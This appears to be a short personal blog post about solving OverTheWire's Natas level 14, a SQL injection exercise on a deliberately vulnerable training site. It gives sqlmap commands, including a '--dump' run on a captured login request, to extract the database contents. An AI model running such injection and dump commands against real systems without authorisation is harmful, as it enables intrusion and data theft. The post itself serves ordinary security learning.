I can’t believe I solved OverTheWire – Natas level 14

hey you!

I love Natas people! I’ll tell you why a bit later. open the sourcecode. it says: if(mysql_num_rows(mysql_query($query, $link)) > 0) {  and many other lines. I even didn’t pay attention to those. I got what I needed. mySQL !!! 

twenty minutes ago, I had no idea about SQL. I had only heard about it while going through some books about web application pentesting. so my gut told me: “c’mmon, go and learn what it is after all”. this tutorial was more than enough for this level.

what I did is assuming that the username should be natas15 and tried to login. oh, my lovely burp suite. intercept is on 🙂  what we find here:

I just copy-pasted this in a new file called: natas15. the rest is on sqlmap and here we type:
sqlmap -r natas15 -p username
and then say “yes” to every question: y, y, y, y… for more info, we add: sqlmap -r natas15 -p username –dump and run again. here comes the sun fun.
don’t get disappointed if the username natas15 doesn’t work. try the others as well. hey, you obviously know how to use sqlmap. <3
I thought it’s supposed to be easier…
